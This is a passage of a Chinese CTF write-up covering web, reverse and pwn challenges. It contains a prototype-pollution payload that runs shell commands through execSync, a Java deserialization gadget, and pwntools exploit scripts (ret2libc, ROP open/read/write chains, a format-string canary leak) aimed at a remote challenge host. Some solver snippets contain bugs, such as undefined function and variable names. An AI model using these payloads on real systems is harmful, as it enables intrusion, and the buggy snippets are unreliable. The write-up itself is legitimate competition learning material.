        Method filed=clas.getDeclaredMethod("hashCode");//反射获取hashCode方法,因为这个方法的属性是私有的
        filed.setAccessible(true);//设置hashCode字段的访问性为true,这意味着即使它是私有的,也可以被外部代码访问和修改。
//        filed.set(instance,66);//这里把url的哈希值不设置为-1,因为下面得触发HashMap里面的put方法,防止触发之后提前解析
        hashMap.put(instance,1);//随便设置就OK
        System.out.println(base64serialize(hashMap));



//        HashMap map=new HashMap();//实例化HashMap,反序列化的入口,存放数据(键对值)
//        URL url=new URL("http:///ip+port");//这里传入我们的DNS解析的参数
//        Class clas=Class.forName("java.net.URL");//反射加载这个类
//        Field filed=clas.getDeclaredField("hashCode");//反射获取hashCode方法,因为这个方法的属性是私有的
//        filed.setAccessible(true);//设置hashCode字段的访问性为true,这意味着即使它是私有的,也可以被外部代码访问和修改。
//        filed.set(url,66);//这里把url的哈希值不设置为-1,因为下面得触发HashMap里面的put方法,防止触发之后提前解析
//        map.put(url,"55");//随便设置就OK
//        filed.set(url,-1);

    }
}

ezejs

信息搜集到是西湖论剑原题

https://xz.aliyun.com/t/13544?u_atoken=61edbbc3d29556234fd32fc09156d4ae&u_asig=ac11000117316626819103256e0134

因为没有bash和curl且sh无法找到/dev/tcp/反弹shell,不太好反弹shell和外带,但是发现污染引擎函数后nodejs执行命令的报错会直接在根路由渲染时显示出来,所以直接使用cat /flag|sh通过使sh找不到flag值对应的命令从而通过报错将flag值带出来

POST /UserList HTTP/1.1
Host: XXXX:XXXX
Content-Type: application/json
Content-Length: 169

{"__proto__":{"destructuredLocals":["a=a;global.process.mainModule.require('child_process').execSync('cat /flag|sh');//var __tmp2"]}}

打完之后访问根目录获得flag

Reverse

Ezre

位移加密

#include <stdio.h>
#include <string.h>

void decrypt_string(char *str, int length, const char *key) {
    int key_length = strlen(key);

    for (int i = 0; i < length; ++str, ++i) {
        char c = *str;

        
        if (c >= 'A' && c <= 'Z') {
            
            c = (c - 'A') - (key[i % key_length] - 'A');

            if (c < 0) {
                c += 26;
            }

            c += 'A';
        }
        
        *str = c;
    }
}

int main() {
    char encrypted_text[] = "QKEMK{7JB5_i5_W3SllD_3z_W3}";
    const char *key = "ISCTF"; 

    decrypt_string(encrypted_text, strlen(encrypted_text), key);

    printf("flag: %s\n", encrypted_text);

    return 0;
}

你知道.elf文件嘛

elf,动调一下直接出

《回忆安魂曲》--第三章:逃不出的黑墙

迷宫题,lazyida把地图导出来

然后是个30×30大小的,P是起点,E是终点

路径

ooeeeeoooooovvoovvooeeooeelllleeooooeeeeooeeooeelleellllvvoovvlllleellvvvvllvvlleelllleeeeeeoovvvvooooeelleeooooooeelleeeeeeoooovvllvvoovvooooeeooeeoooovvooeeeeooeellllee

取32位md5交

《回忆安魂曲》--第二章:当记忆被割裂

先去花指令

然后看check和enc

密文和密钥

ans = [
    0xEA, 0x0C, 0x1A, 0x11, 0xF6, 0x2C, 0x1D, 0x3E, 0x17, 0x35, 0x31, 0x29, 0xF4, 0x39, 0x39, 0xD3,
    0xC3, 0x2D, 0x00, 0x10, 0x30, 0x3D, 0xCC, 0x00, 0xD3, 0xC0, 0x4B, 0xC6, 0x11, 0xC7, 0x29, 0x3E,
    0xBA, 0x60, 0x90, 0x34
]
key = "i_can_reverse_but_i_can_not_have_you"

def decrypt_char(enc_char, index):
    for possible_char in range(256):
        if (index + ord(key[index])) ^ (((possible_char ^ (index + 102) ^ 0x52) + 6) & 0xFF) == enc_char:
            return chr(possible_char)
    return '?'

def decrypt_string():
    decrypted = ""
    for i in range(36):
        decrypted += decrypt_char(ans[i], i)
    return decrypted

print("flag:", decrypt_string())

#ISCTF{as_her_never_will_come_back!!}

桀桀桀

解一下方程,v10是"ISCTF",方便之后的动调

  if ( (v10[1] * v10[0]) << 10 == 6204416
    && (v10[1] + 1) * (v10[1] - 1) == 6888
    && v10[2] + v10[3] == 151
    && (v10[2] << 11) - v10[3] == 137132
    && v10[3] + v10[2] + v10[1] + v10[0] + (char)v11 == 377 )

两个加密函数都有花指令,去一下

得到加密函数1,魔改tea

加密函数2

动调拿密文

tea_key {0x00006FC6, 0x000069D3, 0x000068D5, 0x000073CC}

第二个加密的key(0xF26)

对着加密函数写解密即可

#include <stdio.h>
#include <stdint.h>
#include <string.h>

void dec1(uint32_t *a1, int *a2) {
    uint32_t v11 = a1[0];
    uint32_t v10 = a1[1];
    int v9 = 0x9E3779B9 * 24 + 0x114514 * 8;

    int v8 = 0x114514;
    int v6 = a2[2];
    int v5 = a2[3];
    int v4 = a2[0];
    int v3 = a2[1];

    for (int i = 0; i < 32; ++i) {
        if (i == (32 - 16)) {  // 第(32 - 16)轮切换回原密钥
            v6 = a2[0];
            v5 = a2[1];
            v4 = a2[2];
            v3 = a2[3];
        } else if (i == 8) { 
            v8 = 0x9E3779B9;
        }

        v10 -= (v3 + (v11 >> 5)) ^ (v9 + v11) ^ (v4 + 16 * v11);
        v11 -= (v5 + (v10 >> 5)) ^ (v9 + v10) ^ (v6 + 16 * v10);
        v9 -= v8;
    }
    a1[0] = v11;
    a1[1] = v10;
}

void dec2(uint8_t *data, int len, int a2) {
    for (int i = 0; i < len; ++i) {
        if (i % 2) {
            data[i] = (a2 >> 6) ^ data[i];
        } else {
            data[i] = (a2 - ((unsigned char)(a2 >> 6) << 6)) ^ data[i];
        }
    }
}

int main() {
    uint8_t Str[32] = {   0xB1, 0xD2, 0xF9, 0x7A,
                       0x83, 0x4C, 0x51, 0x23,
                       0xB7, 0xAD, 0xA9, 0xBE,
                       0xE8, 0xFA, 0x24, 0x16,
                       0x93, 0xFE, 0x42, 0xD7,
                       0xB0, 0x1F, 0x52, 0xF7,
                       0x5A, 0x7D, 0x80, 0xE8,
                       0x28, 0xFC, 0x41, 0x6F};
    int key1[4] = {0x00006FC6, 0x000069D3, 0x000068D5, 0x000073CC};
    int key2 = 0xF26;


    dec2(Str, sizeof(Str), key2);

    printf("After dec2: ");
    for (int i = 0; i < sizeof(Str); i++) {
        printf("%02X ", Str[i]);
    }
    printf("\n");

    for (int j = 0; j < 4; ++j) {
        dec1((uint32_t*)&Str[8 * j], key1);
    }

    printf("Flag: %s\n", Str);

    return 0;
}

//Flag: ISCTF{y0U_kN0w_RAnD0m_ANd_73a!!}�;k

MIPS

先把.s文件编译出来,拖ida去看

密钥先经过my_really_lover操作后进行一个魔改rc4,所以先把rc4密钥搞出来

#include <stdio.h>

int my_really_lover(int *a1, char *a2, int a3) {
    int result = 0;
    for (int i = 0; i < a3; ++i) {
        a1[i] ^= a2[i % 3];
    }
    return result;
}

int main() {
    int a1[] = {0x11, 0x2B, 0x1A, 1, 0x20, 0x11, 7, 0x24, 0x12, 1, 0x25, 0x16};
    char a2[] = {0x68, 0x4A, 0x78};
    int a3 = 12;

    my_really_lover(a1, a2, a3);

    for (int i = 0; i < a3; i++) {
        printf("0x%X,", a1[i]);
    }
    printf("\n");

    return 0;
}
//0x79,0x61,0x62,0x69,0x6A,0x69,0x6F,0x6E,0x6A,0x69,0x6F,0x6E

解rc4

#include <stdio.h>
#include <string.h>

void RC4_init(unsigned char *S, unsigned char *key, unsigned int key_len) {
    int i, j = 0;
    unsigned char temp;
    unsigned int v7[65] = {0};

    for (i = 0; i < 256; ++i) {
        S[i] = i;
        ((unsigned char*)v7)[i] = key[i % key_len];
    }

    for (i = 0; i < 256; ++i) {
        j = (j + S[i] + ((unsigned char*)v7)[i]) % 256;
        temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }
}

void RC4_crypt(unsigned char *plain, unsigned int cipher_len, unsigned char *key, int key_len) {
    unsigned char S[256];
    unsigned char temp, k;
    int i, j = 0, t, v8;
    unsigned int v5 = 0, v6 = 0;
    int v9 = 82;

    RC4_init(S, key, key_len);

    for (i = 0; i < cipher_len; ++i) {
        v5 = (v5 + 1) % 256;
        v6 = (S[v5] + v6) % 256;

        temp = S[v5];
        S[v5] = S[v6];
        S[v6] = temp;

        v8 = (S[v5] + S[v6]) % 256;

        plain[i] ^= S[v8] ^ (unsigned char)v9;
    }
}

int main() {
    unsigned char cipher[] = {
        0xD6, 0x32, 0x27, 0x4E, 0x77, 0xCA, 0xD5, 0x76,
        0xA3, 0x21, 0x02, 0x09, 0x68, 0x09, 0x45, 0x89,
        0x36, 0x9A, 0xBA, 0x90, 0xEC, 0x47, 0x98, 0xF8,
        0xFE, 0xF0, 0x4B
        };
    unsigned int cipher_len = sizeof(cipher);

    unsigned char key[] = {0x79,0x61,0x62,0x69,0x6A,0x69,0x6F,0x6E,0x6A,0x69,0x6F,0x6E};
    int key_len = sizeof(key);


    unsigned char plain[cipher_len];
    memcpy(plain, cipher, cipher_len);

    decrypt(plain, cipher_len, key, key_len);

    for (int i = 0; i < cipher_len; i++) {
        printf("0x%02X,", plain[i]);
    }
    printf("\n");

    return 0;
}

//0x49,0x53,0x43,0x54,0x46,0x7B,0x6D,0x33,0x6E,0x5F,0x73,0x68,0x30,0x77,0x5F,0x6D,0x45,0x5F,0x79,0x30,0x75,0x52,0x5F,0x57,0x6F,0x72,0x7D

嘿嘿嘿

有反调试,我这里是直接把sub_140001850里面的exit(0)nop了,如下图可以直接动调了

这里sub_1400014A0的位置是程序运行后^0xA1解密出来运行的,所以我们直接动调,然后进sub_1400014A0的位置重构函数就行

看到这里还没看明白什么,继续跟sub_1400013F0,发现s盒

很明显是sm4的标准s盒

然后上下翻一翻发现其他表都没改,拿sm4标准解密跑,没跑出来,猜到应该是内部逻辑是有点小魔改

可以看到生成子密钥这一部分加了点料,所以干脆直接拿扩展后的密钥打,对应在main函数里面是大小为128的v21

 得到128位的扩展密钥,sm4加密解密的区别就是轮密钥的使用顺序

然后sm4解密即可

#include <stdint.h>
#include <stdio.h>
#define u8 unsigned char
#define u32 unsigned long
/******************************系统参数FK****************************************/
const u32 TBL_SYS_PARAMS[4] = {
0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC
};

/******************************固定参数CK****************************************/
const u32 TBL_FIX_PARAMS[32] = {
    0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269, 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9, 
    0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249, 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9, 
    0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229, 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299, 
    0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209, 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
};

/******************************SBox参数列表****************************************/
const u8 TBL_SBOX[256] = {
    0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 
    0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 
    0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 
    0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6, 
    0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 
    0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 
    0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87, 
    0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 
    0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1, 
    0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3, 
    0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 
    0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51, 
    0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 
    0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0, 
    0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84, 
    0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48
};


//4字节无符号数组转无符号long型
void four_uCh2uLong(u8 *in, u32 *out)
{
    int i = 0;
    *out = 0;
    for (i = 0; i < 4; i++)
        *out = ((u32)in[i] << (24 - i * 8)) ^ *out;
}

//无符号long型转4字节无符号数组
void uLong2four_uCh(u32 in, u8 *out)
{
    int i = 0;
    //从32位unsigned long的高位开始取
    for (i = 0; i < 4; i++)
        *(out + i) = (u32)(in >> (24 - i * 8));
}

//左移,保留丢弃位放置尾部
u32 move(u32 data, int length)
{
    u32 result = 0;
    result = (data << length) ^ (data >> (32 - length));

    return result;
}


u32 sub_140001200(u32 a1) {
    return TBL_SBOX[(a1 & 0xFF)]
         | (TBL_SBOX[(a1 >> 8) & 0xFF] << 8)
         | (TBL_SBOX[(a1 >> 16) & 0xFF] << 16)
         | (TBL_SBOX[(a1 >> 24) & 0xFF] << 24);
}

u32 funk_data(u32 input)
{
    int i = 0;
    u32 ulTmp = 0;
    u8 ucIndexList[4] = { 0 };
    u8 ucSboxValueList[4] = { 0 };
    uLong2four_uCh(input, ucIndexList);
    for (i = 0; i < 4; i++)
    {
        ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
    }
    four_uCh2uLong(ucSboxValueList, &ulTmp);
    ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24);

    return ulTmp;
}

u32 funk_key(u32 input)
{
    int i = 0;
    u32 ulTmp = 0;
    u8 ucIndexList[4] = { 0 };
    u8 ucSboxValueList[4] = { 0 };
    uLong2four_uCh(input, ucIndexList);
    for (i = 0; i < 4; i++)
    {
        ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
    }
    four_uCh2uLong(ucSboxValueList, &ulTmp);
    ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23);

    return ulTmp;
}

u32 operate_1(u32 a1, int16_t a2) {
    u32 v;
    if (a2 == 1) {
        return funk_data(a1);
    } else {
        return funk_key(a1);
    }
}

void SM4_Crypt(u32 *a1, u8 *a2, int mode) {
    for (int i = 0; i < 32; ++i) {
        //解密1,加密0
        int key_index = mode ? (31 - i) : i;
        
        u32 key_part = (a2[4 * key_index] << 24) | (a2[4 * key_index + 1] << 16) | 
                            (a2[4 * key_index + 2] << 8) | a2[4 * key_index + 3];
        
        a1[(i + 4) % 4] = operate_1(
            key_part ^ a1[(i + 3) % 4] ^ (a1[(i + 2) % 4] ^ a1[(i + 1) % 4]),
            1) ^ a1[i % 4];
    }
}

void operate_2(u32 *a1, u32 *a2) {
    for (int i = 0; i < 4; ++i) {
        a2[i] = a1[3 - i];
    }
}

void SM4_dec(u32 *input, u8 *key, u32 *output) {
    SM4_Crypt(input, key, 1);  
    operate_2(input, output);
}

void print_hex(u8 *data, int len)
{
    int i = 0;
    char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };
    for (i = 0; i < len; i++)
    {
        printf("%c", alTmp[data[i] / 16]);
        printf("%c", alTmp[data[i] % 16]);
        putchar(' ');
    }
    putchar('\n');
}

int main() {
    
    u32 enc[8] = {
         0xA8F44759, 0xCDB824F2, 0x32FB3C01, 0x42BEFFE1,
        0x3EC30B40, 0xE094AA46, 0x2AEA2B, 0x362C0888
    };
    
    //动调得到的扩展密钥
    u8 v21[128] = {
        0x18, 0x41, 0xDB, 0x40, 0x91, 0xE6, 0xC1, 0x28, 0x7D, 0x12, 0xA9, 0xCB, 0x9F, 0xC7, 0xC0, 0xAA,
        0x06, 0x2E, 0x26, 0x9D, 0xA6, 0x7B, 0x5A, 0x9D, 0xAB, 0xAF, 0x10, 0x92, 0xA0, 0xFB, 0xF9, 0xA9,
        0xF0, 0xAB, 0xA8, 0x87, 0x5B, 0x5D, 0xDE, 0x19, 0x11, 0xAC, 0x1A, 0xE7, 0x52, 0x49, 0x45, 0x1E,
        0x86, 0xF6, 0x2A, 0xC9, 0x5F, 0x6C, 0x31, 0x42, 0x66, 0x81, 0xEC, 0x96, 0x1B, 0xFF, 0x18, 0x5E,
        0xB3, 0xB6, 0xBC, 0x45, 0xE9, 0x36, 0xE1, 0xFA, 0xA4, 0x0C, 0x5A, 0x71, 0xE8, 0x3D, 0x83, 0x5C,
        0xAE, 0x63, 0x55, 0x3B, 0x01, 0xEB, 0x9B, 0xE6, 0xB2, 0x37, 0x24, 0x20, 0x63, 0xB1, 0x59, 0x41,
        0x64, 0x36, 0x62, 0x4C, 0xA5, 0xDD, 0x8B, 0xBC, 0x73, 0xBF, 0x9D, 0x44, 0x26, 0x38, 0x4B, 0xF2,
        0x63, 0x7B, 0x0D, 0x41, 0x7C, 0x3D, 0xCC, 0xDC, 0x0A, 0x0F, 0xFC, 0x33, 0x6D, 0xFF, 0x6B, 0xB0
    };


    u32 text[8];

    for (int i = 0; i < 2; ++i) {
        SM4_dec(&enc[4 * i], v21, &text[4 * i]);
    }

    for (int i = 0; i < 8; ++i) {
        printf("0x%08X,", text[i]);
    }

    return 0;
}

// 0x216E344D,0x7530595F,0x304E6B5F,0x33445F57,0x5F397538,0x5F646E34,0x21784D35,0x21212121

记得要改回小端序

py不好,会被ban

先解出pyc

然后main.pyc直接拖在线网站

逆回去

def dec(enc, len2, language2):
    o0000 = enc[:]
    for iiii in range(len2):
        o0000[iiii] ^= language2[iiii % len(language2)]

    for ii in range(len2 - 2, -1, -1):
        o0000[ii] = o0000[ii] ^ o0000[ii + 1]

    o0000.reverse()

    for i in range(len2 - 2, -1, -1):
        o0000[i] = o0000[i] ^ o0000[i + 1]

    return ''.join(chr(x) for x in o0000)

enc = [25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25]
language = 'is_.py_not_py'  
language2 = [ord(char) for char in language]
len2 = len(enc)

flag = dec(enc, len2, language2)
print("flag:", flag)

    
#Y0u_r3@l1y_knOw_py

找啊找

魔改upx,010批量APK换成UPX

然后正常脱壳

拖ida,真正的密文在func

对着main里面逻辑写解密就行

cipher = [
    0x50, 0x4A, 0x5A, 0x4D, 0x5F, 0x42, 0x7E, 0x76, 0x76, 0x5D, 0x18, 0x18, 0x08, 0x4A, 0x56, 0x66, 
    0x60, 0x56, 0x4C, 0x66, 0x5F, 0x08, 0x57, 0x5D, 0x66, 0x08, 0x6D, 0x66, 0x54, 0x79, 0x50, 0x57, 
    0x18, 0x18, 0x79, 0x44
]

flag = []
for c in cipher:
    dec = c ^ 0x39
    if 0x61 <= dec <= 0x7A:  
        dec -= 32         
    elif 0x41 <= dec <= 0x5A:  
        dec += 32         

    flag.append(chr(dec))

flag_p = ''.join(flag)
print(flag_p)

#ISCTF{gooD!!1SO_yOU_F1ND_1t_M@IN!!@}

《回忆安魂曲》--第四章:退!初识凤仙儿

这题非预期了

cython逆向

先调用看看信息

root@LAPTOP-QRUGRNAT:/mnt/c/Users/Lenovo/Desktop# python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import test
>>> help(test)

三个数据,hack_data看不全,再单独调用看一下

>>> print(test.hack_data)
[27, 16, 43, 29, 127, 46, 51, 102, 50, 1, 112, 50, 53, 101, 57, 1]

现在手里有三个数据

hack_data[27, 16, 43, 29, 127, 46, 51, 102, 50, 1, 112, 50, 53, 101, 57, 1]

key = 'H1m'

sbox = [1, 14, 4, 13, 10, 2, 5, 8, 7, 6, 9, 12, 15, 3, 11, 0]

看一下sbox特征,从0到15,一共16位,hack_data也是16位,符合main.py里面要求的16位flag

但是ida大抵是有点难看的,考虑到cython应该不会出太复杂的逻辑,就挨个试

这里我试着用key和hack_data xor就出了

def dec(ciphertext, key, sbox):
    key_values = [ord(k) for k in key]
    #print(key_values)
    plaintext = []

    for i, c in enumerate(ciphertext):
        p = ((c ^ key_values[i % len(key)]))
        p = p % 256
        plaintext.append(chr(p))

    return ''.join(plaintext)

ciphertext = [27, 16, 43, 29, 127, 46, 51, 102, 50, 1, 112, 50, 53, 101, 57, 1]
key = 'H1m'
sbox = [1, 14, 4, 13, 10, 2, 5, 8, 7, 6, 9, 12, 15, 3, 11, 0]

text_v = dec(ciphertext, key, sbox)
print(text_v)
#S!FUNC{W_IA_}TTI

然后sbox应该是这个字符串的正确顺序,拼一下

ISCTF{I_WANT_U!}

萝卜子的螃蟹

Rust逆向

直接动调,先随便输入52位,找我们输入的明文去了哪里

进v19

0x8的位置上明显是指针,过去按d

跳转指针就能看见我们输入的内容,我们会发现上图指针再往后面8个Bit就是对应着指针内容的大小 如上图0x34

然后也就应证了sub_403D10中的a1+16其实就是取大小的一个操作

所以sub_403D10其实就是函数len
按照这种思路,我们一直跟着明文一步一步走,直到定位到加密函数并且得到关键信息

sub_405850->sub_405A00是将一个新的数组储存在sub_405850的第一个参数中

sub_405E60走了一个将上图中数组xor0x34的操作

data = [
    0x55, 0x8C, 0x09, 0x43, 0xE8, 0xBF, 0x02, 0xFC, 0xB6, 0x87, 0x97, 0xD6, 0xF0, 0xF4, 0x5E, 0xCB, 
    0xAF, 0x5A, 0x91, 0x9B, 0x20, 0xF1, 0x76, 0xF7, 0x05, 0xC6, 0x8B, 0xA4, 0x8D, 0xCE, 0x27, 0x35, 
    0xF0, 0xC1, 0x91, 0x33, 0x49, 0x87, 0xAB, 0x98, 0x68, 0xB8, 0x6A, 0x16, 0x87, 0xDC, 0xFC, 0x08, 
    0xE8, 0x0D, 0x17, 0x90
]
data = [value ^ 52 for value in data]

print([hex(value) for value in data])
#['0x61', '0xb8', '0x3d', '0x77', '0xdc', '0x8b', '0x36', '0xc8', '0x82', '0xb3', '0xa3', '0xe2', '0xc4', '0xc0', '0x6a', '0xff', '0x9b', '0x6e', '0xa5', '0xaf', '0x14', '0xc5', '0x42', '0xc3', '0x31', '0xf2', '0xbf', '0x90', '0xb9', '0xfa', '0x13', '0x1', '0xc4', '0xf5', '0xa5', '0x7', '0x7d', '0xb3', '0x9f', '0xac', '0x5c', '0x8c', '0x5e', '0x22', '0xb3', '0xe8', '0xc8', '0x3c', '0xdc', '0x39', '0x23', '0xa4']

上面这个就是最终的密文

接着分析,最终定位到sub_405F80这个函数里面发现明文变了,

接着分析,进sub_405F80->sub_406560,发现有xor,就在这里结合动调手动还原一下变量,差不多如下图

然后断点让他跑一次循环

验证一下:

plaintext_i ^ changed_key=cipertext_i,change_key第一位是0x28,密文的第一位是0x61,xor结果就是大写字母'I',得证。只需要接着动调把changed_key拿全就可以xor密文拿到完整flag了


Enc = [
    0x61, 0xB8, 0x3D, 0x77, 0xDC, 0x8B, 0x36, 0xC8, 0x82, 0xB3, 0xA3, 0xE2, 0xC4, 0xC0, 0x6A, 0xFF,
    0x9B, 0x6E, 0xA5, 0xAF, 0x14, 0xC5, 0x42, 0xC3, 0x31, 0xF2, 0xBF, 0x90, 0xB9, 0xFA, 0x13, 0x01,
    0xC4, 0xF5, 0xA5, 0x07, 0x7D, 0xB3, 0x9F, 0xAC, 0x5C, 0x8C, 0x5E, 0x22, 0xB3, 0xE8, 0xC8, 0x3C,
    0xDC, 0x39, 0x23, 0xA4
]

KEY = [
    0x28, 0xEB, 0x7E, 0x23, 0x9A, 0xF0, 0x44, 0xBD, 0xF1, 0xC7, 0xFC, 0xD3, 0xF0, 0x9F, 0x07, 0x9A,
    0xF6, 0x5E, 0xD7, 0xD6, 0x47, 0xA4, 0x24, 0xA6, 0x6E, 0x9E, 0xDE, 0xDE, 0xDE, 0xA5, 0x35, 0x27,
    0x9B, 0x8C, 0xCA, 0x72, 0x22, 0xF3, 0xED, 0xC9, 0x03, 0xCB, 0x6E, 0x4D, 0xD7, 0xB7, 0x88, 0x63,
    0x8E, 0x5A, 0x17, 0xD9
]

min_length = min(len(enc), len(KEY))

xor_result = ''.join(chr(enc[i] ^ KEY[i]) for i in range(min_length))

print(xor_result)
#ISCTF{rust_14_mem0rySafe_laNg_&&_you_@re_G0od_@_Rc4}

Pwn

Netcat

nc即可

girlfriend

from pwn import *
#p=process("./girlfriend")
p=remote("27.25.151.12",33169)
payload=b'a'*0x28+b'admin\x00\x00\x00'
p.send(payload)
p.sendline('1')
p.sendline('1')
p.sendline('1')
p.sendline('1')
p.sendline('1')
#覆盖i
p.sendline('6')
p.sendline(str(0x40121E))

p.interactive()

ez_game

网上有现成的python脚本 但是限制时间,远程循环到600多就超时了,给ai转成c就可以了

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <string.h>
#include <time.h>

#define SERVER_IP "27.25.151.12"
#define SERVER_PORT 39432

int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server_address;
    server_address.sin_family = AF_INET;
    server_address.sin_port = htons(SERVER_PORT);
    inet_pton(AF_INET, SERVER_IP, &server_address.sin_addr);

    if (connect(sock, (struct sockaddr*)&server_address, sizeof(server_address)) < 0) {
        perror("连接失败");
        return 1;
    }

    send(sock, "gg\n", 3, 0);

    // 种子
    srand(1);

    for (int i = 0; i < 20001; i++) {
        int guess = rand() % 7 + 1;
        char message[8];
        snprintf(message, sizeof(message), "%d\n", guess);

        send(sock, message, strlen(message), 0);

        char buffer[30];
        int bytes = recv(sock, buffer, sizeof(buffer) - 1, 0);
        buffer[bytes] = '\0';

    }
    send(sock, "cat flag\n", strlen("cat flag\n"), 0);
    while (1) {
        char buffer[128];
        int bytes = recv(sock, buffer, sizeof(buffer) - 1, 0);
        if (bytes <= 0) break;
        buffer[bytes] = '\0';
        printf("%s", buffer);
    }

    close(sock);
    return 0;
}

ret2orw

先把libc泄露出来然后正常的orw

from pwn import *
#p=process("./ret2orw")
elf=ELF('./ret2orw')
libc=ELF('./libc.so.6')

p=remote("27.25.151.12",24368)
rdi=0x00000000004012ce
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
payload=b'a'*0x28+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4012A1)
p.sendline(payload)

bss=elf.bss()

fake_puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

base=fake_puts_addr-libc.sym['puts']
print(hex(base))

read_addr=base+libc.sym['read']
open_addr=base+libc.sym['open']
put_addr=base+libc.sym['puts']
rsi=base+0x2be51
rdx_r12=base+0x11f2e7 

payload2 =b'a'*0x28+ p64(rdi) + p64(0) + p64(rsi) + p64(bss + 0x100) + p64(rdx_r12) + p64(0x40)+p64(0) + p64(read_addr) 
payload2 += p64(rdi) + p64(bss + 0x100) + p64(rsi) + p64(0) + p64(open_addr)
payload2 += p64(rdi) + p64(3) + p64(rsi) + p64(bss + 0x100) + p64(rdx_r12) + p64(0x40)+p64(0) + p64(read_addr) 
payload2 += p64(rdi) + p64(bss + 0x100)+p64(elf.plt['puts'])

p.send(payload2.ljust(0x100, b'\x00'))
p.send('flag')

p.interactive()

小蓝鲨stack

简单的ret2libc

from pwn import *
from LibcSearcher import LibcSearcher

#p = process('./ezstack')
p = remote('27.25.151.12', 31143)
#gdb.attach(p, 'b * 0x401212')
elf=ELF('./ezstack')
libc=ELF('./libc-2.31.so')

rdi=0x0000000000401293
rsi_r15=0x0000000000401291
printf_plt=elf.plt["printf"]
printf_got=elf.got["printf"]
main_addr=0x4011DB
ret=0x000000000040101a

payload=b'a'*0x28+p64(ret)+p64(rdi)+p64(printf_got)+p64(printf_plt)+p64(ret)+p64(main_addr)
p.sendline(payload)
fake_printf_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

base=fake_printf_addr-libc.sym['printf']
print(hex(base))

system=base+libc.symbols['system']
bin=base+next(libc.search(b'/bin/sh'))
print(hex(bin))
pay=b'a'*0x28+p64(rdi)+p64(bin)+p64(ret)+p64(system)
p.sendline(pay)
p.interactive()

0verf10w

栈迁移

from pwn import *
#p = process('./0verf10w')
p = remote('27.25.151.12', 20989)

p.sendline('1111')
p.recvuntil('give you a gift!\n')
#泄露栈 libc和canary
p.send(p64(0) + b'%15$p%11$p%9$pk')

stack = int(p.recv(14), 16)
libc_base = int(p.recv(14), 16) - 0x29d90
canary = int(p.recvuntil('k')[:-1], 16)#不固定

print(hex(libc_base))
one_gadget = libc_base + 0xebc81

